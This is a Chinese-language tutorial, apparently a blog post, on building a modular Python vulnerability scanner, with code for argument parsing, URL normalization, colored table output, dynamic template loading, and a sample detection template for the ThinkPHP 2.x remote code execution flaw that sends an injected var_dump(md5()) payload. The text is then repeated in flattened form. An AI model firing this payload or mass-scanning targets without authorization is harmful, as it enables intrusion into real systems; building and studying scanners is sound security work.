从零构建:我的漏洞扫描器之旅
字数 1361 2025-08-22 12:23:12

从零构建漏洞扫描器 - 详细教学文档

1. 项目概述

本教学文档将详细介绍如何从零开始构建一个自定义漏洞扫描器。该扫描器具有以下核心功能:

  • 支持单个URL扫描和批量文件扫描
  • 采用模块化模板设计,便于扩展新漏洞检测
  • 提供直观的结果输出
  • 具备基本的URL处理功能

2. 系统架构设计

2.1 主程序框架

扫描器采用命令行界面,使用Python的argparse模块处理用户输入:

import argparse
import sys

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="漏洞扫描工具。")
    parser.add_argument('-u', '--url', type=str, help='单个目标扫描。')
    parser.add_argument('-f', '--file', type=str, help='多目标批量扫描。')
    parser.add_argument('-t', '--template', type=str, help='指定扫描模板文件。')
    args = parser.parse_args()
    
    if '-u' in sys.argv and '-t' in sys.argv:
        # 单个URL扫描逻辑
        pass
    elif '-f' in sys.argv and '-t' in sys.argv:
        # 批量扫描逻辑
        pass
    else:
        # 其他情况处理
        pass

2.2 核心模块组成

  1. 主程序入口:处理命令行参数和流程控制
  2. 模板系统:漏洞检测逻辑的实现
  3. URL处理模块:规范化输入URL
  4. 结果输出模块:格式化显示扫描结果
  5. 工具函数:辅助功能实现

3. 核心模块实现

3.1 漏洞模板系统

漏洞检测的核心是模板系统,采用面向对象设计:

import datetime
from urllib.parse import urljoin
import requests
from PublicMethod import host_to_ip
from PublicMethod import success

class vul_scan:
    def __init__(self):
        pass
    
    def vul_name(url):
        protocol, ip_address, port = host_to_ip.normalize_and_parse_url(url, host_to_ip=False)
        target = f'{protocol}://{ip_address}:{port}'
        
        # 定义漏洞信息结构
        result = {
            'name': '漏洞名称',
            'vulnerable': False,
            'method': 'None',
            'url': url,
            'payload': 'None'
        }
        
        try:
            headers = {
                'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)',
            }
            uri = ''
            target = urljoin(target, uri)
            response = requests.get(url=target, headers=headers, timeout=5, verify=False)
            
            # 漏洞检测逻辑
            if True:  # 替换为实际的检测条件
                result['vulnerable'] = True
                result['method'] = 'POST'
                result['url'] = url
                result['payload'] = uri
                success.VulExist(result)
                return result
            else:
                return result
        except Exception as e:
            return result
    
    def start_scan(self):
        return vul_scan.vul_name(self)

模板使用说明

  1. 每个漏洞检测应创建一个单独的类方法
  2. 方法名应为漏洞名称(如thinkphp_2x_rce
  3. 必须包含start_scan方法作为统一入口
  4. 检测逻辑应放在try块中,处理可能的网络异常

3.2 URL处理模块

host_to_ip.py负责URL规范化处理:

from urllib.parse import urlparse, urlunparse
import socket

def normalize_and_parse_url(url, host_to_ip=False):
    # 自动添加协议前缀
    if not url.startswith(('http://', 'https://')):
        url = 'http://' + url if '://' not in url else url
    
    parsed_url = urlparse(url)
    protocol = parsed_url.scheme
    host = parsed_url.hostname
    port = parsed_url.port or (443 if protocol == 'https' else 80)
    
    # 可选的主机名解析
    if host_to_ip:
        try:
            ip_address = socket.gethostbyname(host)
        except socket.gaierror:
            raise ValueError(f"Cannot resolve hostname {host} to an IP address")
    else:
        ip_address = host
    
    return protocol, ip_address, port

3.3 结果输出模块

3.3.1 漏洞存在提示

success.py处理漏洞检测成功的输出:

import base64
from colorama import init, Fore, Style

def VulExist(data):
    data = str(data)
    init(autoreset=True)
    
    if isinstance(data, str):
        data_bytes = data.encode('utf-8')
    else:
        data_bytes = data
    
    encoded_bytes = base64.b64encode(data_bytes)
    encoded_str = encoded_bytes.decode('utf-8')
    
    print(Fore.CYAN + encoded_str)

3.3.2 格式化表格输出

FormatOutput.py提供美观的结果展示:

from prettytable import PrettyTable
from termcolor import colored

def FormatOutput(data_list):
    table = PrettyTable()
    table.field_names = ['name', 'method', 'url', 'payload', 'vulnerable']
    table.field_names = [colored(field, attrs=['bold']) for field in table.field_names]
    
    for index, data in enumerate(data_list):
        row_values = [
            data['name'],
            data['method'],
            data['url'],
            data['payload'],
            data['vulnerable']
        ]
        
        # 根据漏洞状态着色
        if data['vulnerable']:
            row_values[4] = colored('True', 'green')
        else:
            row_values[4] = colored('False', 'red')
        
        table.add_row(row_values)
        
        # 添加分隔线
        if index < len(data_list) - 1:
            table.add_row(['-' * len(field) for field in table.field_names])
    
    print(table)

3.4 模板加载系统

实现模板的动态加载和缓存:

import importlib.util
import sys

cached_module = None

def load_module(module_path):
    global cached_module
    if cached_module is None:
        module_name = module_path.replace('.py', '').split('/')[-1]
        spec = importlib.util.spec_from_file_location(module_name, module_path)
        cached_module = importlib.util.module_from_spec(spec)
        sys.modules[module_name] = cached_module
        spec.loader.exec_module(cached_module)
    return cached_module

def call_start_scan(module, url):
    if hasattr(module, 'start_scan'):
        return module.start_scan(url)
    else:
        print(f"Function 'start_scan' not found in the module.")

4. 主程序整合

将各模块整合到主程序中:

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="漏洞扫描工具。")
    parser.add_argument('-u', '--url', type=str, help='单个目标扫描。')
    parser.add_argument('-f', '--file', type=str, help='多目标批量扫描。')
    parser.add_argument('-t', '--template', type=str, help='指定扫描模板文件。')
    args = parser.parse_args()
    
    if '-u' in sys.argv and '-t' in sys.argv:
        data_list = []
        module = load_module(args.template)
        data = call_start_scan(module, args.url)
        data_list.append(data)
        FormatOutput.FormatOutput(data_list)
    elif '-f' in sys.argv and '-t' in sys.argv:
        try:
            data_list = []
            module = load_module(args.template)
            with open(args.file, 'r') as files:
                file = [line.strip() for line in files if line.strip()]
                for url in file:
                    data = call_start_scan(module, url)
                    data_list.append(data)
            FormatOutput.FormatOutput(data_list)
        except Exception as e:
            pass
    else:
        pass

5. 漏洞模板开发实例

以ThinkPHP 2.x RCE漏洞为例:

import datetime
from urllib.parse import urljoin
import requests
from PublicMethod import host_to_ip
from PublicMethod import success

class vul_scan:
    def __init__(self):
        pass
    
    def thinkphp_2x_rce(url):
        protocol, ip_address, port = host_to_ip.normalize_and_parse_url(url, host_to_ip=False)
        target = f'{protocol}://{ip_address}:{port}'
        
        result = {
            'name': 'thinkphp_2x_rce',
            'vulnerable': False,
            'method': 'None',
            'url': url,
            'payload': 'None'
        }
        
        try:
            headers = {
                'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)',
            }
            uri = '?s=/sec/test/00/${var_dump(md5(9527))}'
            target = urljoin(target, uri)
            response = requests.get(url=target, headers=headers, timeout=5, verify=False)
            
            if '52569c045dc348f12dfc4c85000ad832' in response.text:
                result['vulnerable'] = True
                result['method'] = 'POST'
                result['url'] = url
                result['payload'] = uri
                success.VulExist(result)
                return result
            else:
                return result
        except Exception as e:
            return result
    
    def start_scan(self):
        return vul_scan.thinkphp_2x_rce(self)

6. 使用示例

6.1 单个URL扫描

python scanner.py -u http://target.com:8080 -t thinkphp_2x_rce.py

6.2 批量扫描

python scanner.py -f targets.txt -t thinkphp_2x_rce.py

其中targets.txt内容格式为每行一个URL:

http://target1.com
http://target2.com:8080
192.168.1.100

7. 优化建议

  1. 多线程支持:使用threadingmultiprocessing模块提高扫描效率
  2. 默认模板:当不指定模板时,自动加载默认模板集
  3. 多模板扫描:支持一次指定多个模板文件进行综合扫描
  4. 代理支持:添加-p/--proxy参数支持代理设置
  5. 结果保存:添加-o/--output参数支持结果保存到文件
  6. 进度显示:添加扫描进度条显示
  7. 超时配置:允许用户自定义请求超时时间
  8. 重试机制:对失败的请求添加自动重试功能

8. 扩展开发指南

8.1 开发新漏洞模板

  1. 复制现有模板文件并重命名
  2. 修改类方法名为漏洞名称
  3. 实现具体的漏洞检测逻辑
  4. 更新result字典中的漏洞信息
  5. 确保start_scan方法正确调用新的检测方法

8.2 添加新功能

  1. 认证支持:添加对需要认证的目标的支持
  2. 自定义头:允许用户自定义请求头
  3. 速率限制:添加请求速率控制
  4. 插件系统:设计插件架构支持功能扩展
  5. API接口:添加REST API接口支持远程调用

9. 安全注意事项

  1. 扫描前应获得目标系统的授权
  2. 避免使用过于激进的检测方式可能导致服务中断
  3. 注意处理敏感信息,如认证凭据等
  4. 考虑添加扫描速率限制避免对目标造成过大负载
  5. 确保工具本身的安全性,避免成为攻击媒介

10. 总结

本教学文档详细介绍了从零开始构建漏洞扫描器的全过程,包括:

  • 系统架构设计
  • 核心模块实现
  • 模板开发方法
  • 使用示例
  • 优化建议
  • 扩展开发指南

通过本指南,开发者可以快速掌握漏洞扫描器的开发方法,并根据实际需求进行功能扩展和定制开发。

从零构建漏洞扫描器 - 详细教学文档 1. 项目概述 本教学文档将详细介绍如何从零开始构建一个自定义漏洞扫描器。该扫描器具有以下核心功能: 支持单个URL扫描和批量文件扫描 采用模块化模板设计,便于扩展新漏洞检测 提供直观的结果输出 具备基本的URL处理功能 2. 系统架构设计 2.1 主程序框架 扫描器采用命令行界面,使用Python的 argparse 模块处理用户输入: 2.2 核心模块组成 主程序入口 :处理命令行参数和流程控制 模板系统 :漏洞检测逻辑的实现 URL处理模块 :规范化输入URL 结果输出模块 :格式化显示扫描结果 工具函数 :辅助功能实现 3. 核心模块实现 3.1 漏洞模板系统 漏洞检测的核心是模板系统,采用面向对象设计: 模板使用说明 每个漏洞检测应创建一个单独的类方法 方法名应为漏洞名称(如 thinkphp_2x_rce ) 必须包含 start_scan 方法作为统一入口 检测逻辑应放在try块中,处理可能的网络异常 3.2 URL处理模块 host_to_ip.py 负责URL规范化处理: 3.3 结果输出模块 3.3.1 漏洞存在提示 success.py 处理漏洞检测成功的输出: 3.3.2 格式化表格输出 FormatOutput.py 提供美观的结果展示: 3.4 模板加载系统 实现模板的动态加载和缓存: 4. 主程序整合 将各模块整合到主程序中: 5. 漏洞模板开发实例 以ThinkPHP 2.x RCE漏洞为例: 6. 使用示例 6.1 单个URL扫描 6.2 批量扫描 其中 targets.txt 内容格式为每行一个URL: 7. 优化建议 多线程支持 :使用 threading 或 multiprocessing 模块提高扫描效率 默认模板 :当不指定模板时,自动加载默认模板集 多模板扫描 :支持一次指定多个模板文件进行综合扫描 代理支持 :添加 -p/--proxy 参数支持代理设置 结果保存 :添加 -o/--output 参数支持结果保存到文件 进度显示 :添加扫描进度条显示 超时配置 :允许用户自定义请求超时时间 重试机制 :对失败的请求添加自动重试功能 8. 扩展开发指南 8.1 开发新漏洞模板 复制现有模板文件并重命名 修改类方法名为漏洞名称 实现具体的漏洞检测逻辑 更新 result 字典中的漏洞信息 确保 start_scan 方法正确调用新的检测方法 8.2 添加新功能 认证支持 :添加对需要认证的目标的支持 自定义头 :允许用户自定义请求头 速率限制 :添加请求速率控制 插件系统 :设计插件架构支持功能扩展 API接口 :添加REST API接口支持远程调用 9. 安全注意事项 扫描前应获得目标系统的授权 避免使用过于激进的检测方式可能导致服务中断 注意处理敏感信息,如认证凭据等 考虑添加扫描速率限制避免对目标造成过大负载 确保工具本身的安全性,避免成为攻击媒介 10. 总结 本教学文档详细介绍了从零开始构建漏洞扫描器的全过程,包括: 系统架构设计 核心模块实现 模板开发方法 使用示例 优化建议 扩展开发指南 通过本指南,开发者可以快速掌握漏洞扫描器的开发方法,并根据实际需求进行功能扩展和定制开发。